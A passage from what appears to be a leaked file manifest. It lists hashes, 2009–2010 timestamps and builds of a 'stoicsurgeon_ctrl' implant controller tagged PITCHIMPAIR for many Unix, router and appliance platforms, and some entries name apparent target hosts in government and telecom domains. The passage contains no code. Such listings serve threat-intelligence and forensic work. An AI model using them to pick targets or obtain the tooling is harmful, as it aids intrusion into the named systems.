22:35:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.5_x86-linux-fedora9 +450AB9C2B2693E40C3A0258A39A1DF80B6781A5D Wed Oct 14 13:47:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.15.1_x86-freebsd-7.1 +F870A97684B9DEA1399F7BC9E5CC0CB6668DDFF7 Wed Oct 14 14:34:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.15.2_x86-freebsd-7.2 +80C779212A8A048ED6AD1E632F78C4BD003DA75C Tue Oct 20 10:55:41 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.10_x86-freebsd-7.2 +0F357135CBE7BEFAB89397DFC6ABB5C07A968B27 Tue Oct 20 13:28:26 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.11_x86-freebsd-5.3 +0F357135CBE7BEFAB89397DFC6ABB5C07A968B27 Tue Oct 20 13:28:26 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.12_x86-freebsd-5.3-sassyninja-mail.aprf.gov.ru +4D9EF34B808774426A89940750755F3FD817C3EE Tue Oct 20 17:30:09 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.13_x86_64-linux-debian-4.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.14_x86-linux-centos-5.2 +55751B6A8807845EDE77A2E9B1A89EB03F4A6208 Fri Oct 30 16:48:13 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.15_x86_64-linux-redhat-enterprise-4.0 +7D9FD4E5A3B4DF3F1056B9F64D8C61E0924D38BA Thu Nov 5 21:00:41 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.16_x86_64-linux-redhat-enterprise-5.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.17_x86-linux-fedora10 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.19_x86-linux-suse-10.2 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.1_x86-linux-debian-5.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.2_x86-linux-fedora10 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.3_x86-linux-fedora8 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.4_x86-linux-centos-5.3 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.5_x86-linux-redhat-7.3 +8E8590757D80A2136348406CA67DB286469B7B2D Mon Oct 19 18:58:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.8_x86-freebsd-7.1 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.9_x86-linux-suse-enterprise-9 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.12_x86_64-linux-centos-5.2 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.13_x86_64-linux-centos-5.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.15_x86-linux-asianux-1.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.16_x86-linux-slackware-10.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.17_x86-linux-slackware-11.0 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.18_x86_64-linux-redhat-enterprise-5.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.1_x86-linux-suse-10.2 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.20_x86-linux-suse-9.3 +3743120477E9718061FE906977A9B7B1939DBF0A Mon Jan 25 17:22:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.22_x86_64-linux-suse-10.1 +2ED7583A61E4A7DD9800C58E55660F3D577F9F24 Wed Jan 27 19:26:48 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.24_x86-freebsd-7.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.25_x86-linux-centos-4.8 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.26_x86-linux-slackware-10.2 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.27_x86-linux-steelsnob-babar +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.3_x86-linux-suse-10.3 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.4_x86-linux-suse-10.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.5_x86-linux-suse-10.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.6_x86-linux-suse-10.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.7_x86-linux-centos-5.4 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.8_x86_64-linux-centos-5.3 +7C4E42DC877BFF6B753DF087153384933C612D41 Thu Jan 28 17:41:45 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.18.1_sparc-sun-solaris2.10 +561835B4D668F3FC05D22DCEAA1CDE349FB4F0FB Tue Feb 23 01:11:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.19.1_x86_64-linux-redhat-enterprise-5.0 +9D3A6ACB77F2A67E130D98A3E303234C4D51D10C Tue Feb 23 17:44:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.19.2_i386-pc-solaris2.10 +1E8B5C20C3D45938639277627B07AF7ADDA0B79F Tue Mar 16 19:39:07 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.10_x86-linux-darkthunder-nsp.yemen.net.ye +504EA7219B7FC10719186AC787F2D2FB498B948B Wed Mar 17 17:25:03 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.12_x86-freebsd-7.1 +9DE5F93389F80791463FC42C3F4AFE16ACE65646 Wed Feb 24 20:47:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.1_x86-freebsd-5.4 +2990986696251A46DD89A60423F9F3AD57FC844B Thu Feb 25 16:06:49 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.2_x86-freebsd-6.1 +F1613FF3E9FCB32C4C29A7F484D8121177FCD556 Thu Feb 25 19:16:20 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.3_x86-freebsd-6.0 +8AC946B156123AC4683C605446B02AA4506EA0CF Thu Feb 25 19:33:12 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.4_x86-freebsd-6.2 +29224C03114EA37E240E9523E54D55EEB4390185 Tue Mar 2 18:46:10 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.6_x86-freebsd-5.5 +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.7_x86-linux-centos-5.4 +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.8_x86-linux-straitshooter-ibs-bk +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.9_x86-linux-centos-4.8 +6824F9257F9954AE280692B0EC8E4C1056B15905 Mon Mar 1 19:29:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.1_x86-junos-9.6 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.2_x86_64-linux-debian-5.0 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.3_x86_64-linux-centos-5.0 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.4_x86_64-linux-scientific-5.1 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.5_x86_64-linux-suse-10.2 +AAB6B0722B74CE3075BEF329BDD7D69F99146FAE Wed Mar 17 18:37:35 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.6_x86-linux-redhat-enterprise-5.4 +24B0488C1BE7F581511DB3BE97BEDC3CAD7EF93F Wed Mar 24 00:15:37 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.2_x86_64-linux-redhat-enterprise-5.4 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.3_x86-linux-centos-5.4 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.4_x86-linux-redhat-8.0 +7D5ED4389D5FF9DD4BD9327A5A81C308924A51D7 Thu Apr 1 18:18:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.5_x86_64-linux-debian-5.0 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.6_x86-linux-debian-5.0 +87D1B6EC6A2B8A60C7F58E71EC9B751952DB0F68 Tue Apr 27 00:24:08 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.1_x86_64-linux-vinifera-ie103 +C1C133F1A41C9C19742F8569FC9DD78A99A57A56 Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.2_x86_64-linux-vinifera-ie104 +C1C133F1A41C9C19742F8569FC9DD78A99A57A56 Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.3_x86_64-linux-centos-5.4 +929AD8D3673913FABD800E00388D3447492D2C23 Mon May 10 14:51:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.4_x86-linux-redhat-enterprise-5.2 +929AD8D3673913FABD800E00388D3447492D2C23 Mon May 10 14:51:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.5_x86-linux-centos-4.8 +D9EC5CBE547F46ADFDB4EE78AE2D0872516163B1 Fri May 14 12:07:15 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.24.1_sparc-sun-solaris2.7 +5221873FFB50711DB904BB04973BC07572E1AF92 Fri May 14 17:49:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.24.2_x86-linux-avaya-5.2.1 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.1_x86-linux-ubuntu-8.04 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.2_x86-linux-centos-3.6 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.3_x86-linux-redhat-enterprise-4.0 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.4_x86-linux-centos-3.6 +779D74754C86456114B4084DD9799BF5B2BA5AE4 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.1_x86-linux-avaya +0982C354DFEE88D99DCA3FB225453DFF94FEB52C Wed Jun 9 11:56:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.2_x86_64-freebsd-7.0 +F4250729211A945A5B70A562FDE851FE5A0B583A Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.4_error_x86_64_linux_suse_enterprise_10.2_bin +F4250729211A945A5B70A562FDE851FE5A0B583A Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.4_x86_64-linux-suse-enterprise-10.2 +779D74754C86456114B4084DD9799BF5B2BA5AE4 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.5_x86-linux-wickedviper-tux.minatom.ru +39F524A444082936BA89BA29E398A2ADD2BBF190 Thu Jun 24 21:55:39 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.27.1_x86-linux-redhat-enterprise-5.3 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.1_x86-linux-redhat-enterprise-5.2 +868E30FF8546960688F8E55EFF92A96C45029F13 Tue Jun 29 21:14:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.2_x86-linux-centos-5.2 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.3_x86-linux-redhat-enterprise-5.5 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.4_x86-linux-redhat-enterprise-3.0 +5937D06CA5B6B4C03802741E525D10BDF5F9D426 Fri Jul 2 23:42:12 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.5_x86_64-linux-centos-5.5 +8CBED715A05547827531BD399F4F8BD896FC942F Thu Jun 18 13:02:34 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.3.2_x86-freebsd-7.0 +CF438754E0F8A3766FB70A4FFD1ADBDE2D05875B Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.1_x86-linux-ubuntu-8.04 +F194724DEDCE7388A26701AC0118966CFF1A0962 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.2_x86-linux-centos-5.5 +CF438754E0F8A3766FB70A4FFD1ADBDE2D05875B Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.5_x86-linux-avaya +F194724DEDCE7388A26701AC0118966CFF1A0962 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.6_x86-linux-centos-5.4 +68635A2E3168E151B979E5B81BCA43011B33611D Thu Jul 22 13:26:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.10_sparc-sun-solaris2.10 +554AFAE571BC406C4D2AA0FE7102165D91A8C9F8 Thu Jul 22 13:55:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.11_i386-pc-solaris2.10 +EF413B99A91F3069C8DDAB6DB90FA5F502D48BA6 Mon Jul 26 18:17:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.12_sparc-sun-solaris2.9 +A8E183ED8DD0638AD8A5E1DC71CEE5F3F7C813DE Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.13_sparc-sun-solaris2.8 +A8E183ED8DD0638AD8A5E1DC71CEE5F3F7C813DE Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.14_sparc-sun-solaris2.8 +AC814EE79ECC05E7F30A04AF5C7B51ED2F8EA873 Tue Jul 13 16:02:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.1_x86-linux-slackware-13.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.2_x86-linux-slackware-9.1 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.3_x86-linux-slackware-10.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.4_x86-linux-slackware-10.1 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.5_x86-linux-slackware-10.2 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.6_x86-linux-slackware-11.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.7_x86-linux-slackware-12.0 +73632E556D4AFB6B76DCD73B7F4EB01427904050 Tue Jul 20 21:03:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.8_x86_64-linux-centos-5.3 +10B74F967CBC4D196E74477B4603A7DD4BCC0EA6 Fri Jul 23 20:58:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.32.1_x86-linux-redhat-enterprise-5.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.1_error_x86_linux_slackware_13.0_i386_linux +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.1_x86-linux-slackware-13.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.2_x86-linux-optimusprime-vezarat.dolat.ir +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.4_x86-linux-slackware-12.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.5_x86-linux-avaya-3.1.4 +A4C4632EB725FF4487D5BE44C5ABCE7CC9642965 Tue Aug 24 20:15:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.6_x86-linux-centos-5.3 +C41132C662418A54DF763663E5F0F1D3353B6CF5 Thu Aug 26 13:28:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.1_x86-junos-9.2 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.2_x86-junos-9.3 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.3_x86-junos-8.5 +0ABFDD9DE834A9741BDEB959414AC8914091DACD Thu Aug 26 21:28:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.3_x86-linux-alt-1.0 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.4_x86-junos-9.0 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.5_x86-junos-9.1 +AC1075907C8E156A186D2D496FF5E621B4A41DE8 Fri Sep 10 17:13:43 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.35.1_x86-linux-bigip-9.1.2 +2833C7950E43D679F40C24C94987BED8AC9B7CFE Fri Oct 1 16:55:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.36.3_x86-linux-bigip-9.2.4 +7C99457F1F4075D132341FCB15CFFE81F39CA20C Thu Oct 21 18:38:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.37.2_x86-linux-bigip-9.2.4 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.1_x86-linux-asianux-1.0 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.2_x86-linux-suse-10.3 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.3_x86-linux-suse-10.0 +C3521C94E9821D8F72F3AB90D883ABB4F1147EBF Mon Jun 22 20:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.4_x86-linux-avaya +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.5_x86-linux-ubuntu-8.04 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.1_x86-junos-8.5 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.2_x86-junos-9.0 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.3_x86-junos-9.1 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.4_x86-junos-9.2 +7D8E2EE9292EDE80CB9CD08991951C485A2B845E Thu Aug 13 21:51:07 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.5_x86-junos-9.3 +7D8E2EE9292EDE80CB9CD08991951C485A2B845E Thu Aug 13 21:51:07 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.6_x86-junos-9.4 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.1_x86-linux-alt-2.4 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.2_x86-linux-redhat-7.2 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.3_x86-linux-slackware-11.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.4_x86-linux-vinifera-bs101v01 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.5_x86-linux-redhat-enterprise-4.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.7_x86-linux-redhat-9.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.8_x86-linux-toadyteal-rowdaco.com +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.9_x86-linux-centos-5.1 +F1706A147B50E8CCEF163B35DF5994A043B192DE Thu Aug 20 19:16:16 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.9.1_x86_64-linux-suse-10.1 +08A1AB6D3C21ACA9D9BAA9B185AC8A19710778E9 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.1_x86_64-freebsd-potbed-greencache4 +B523E7AC6E6BC3932601CEAC001A487C0516784D Wed Sep 1 11:50:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.2_x86_64-freebsd-7.0 +08A1AB6D3C21ACA9D9BAA9B185AC8A19710778E9 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.3_x86_64-freebsd-potbed-cache55 +C0ED74ACBC0405E9621F521F2447644B1CEE3920 Fri Sep 3 19:55:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.6_x86_64-linux-centos-5.5 +6CDF33050FFC4E326BE157BFEFD05E60D4554B92 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.1_x86-linux-centos-5.4 +6CDF33050FFC4E326BE157BFEFD05E60D4554B92 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.2_x86-linux-centos-5.5 +F8AE947834EE13561608CBA25657143CB2A6E85A Fri Sep 17 17:16:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.4_x86_64-linux-redhat-enterprise-5.5 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.10.2_x86-linux-centos-4.4 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.10.5_x86-linux-acridmini-sg +F6EC9435B60795231ECB44448AF32073249D5D4D Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.1_x86-linux-fedora12 +F6EC9435B60795231ECB44448AF32073249D5D4D Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.2_x86-linux-redhat-enterprise-5.5 +0DC2217E11180BAAC8640B9E9245624E0AFF911B Fri Dec 3 00:02:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.4_x86_64-linux-centos-5.5 +109DEACF50A969A8FD05EC52C939E13074663278 Thu Dec 9 23:19:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.10_x86_64-linux-centos-4.8 +386583116E0242FCFF145C04F0AEB8C89208E09B Thu Dec 9 23:39:06 2010 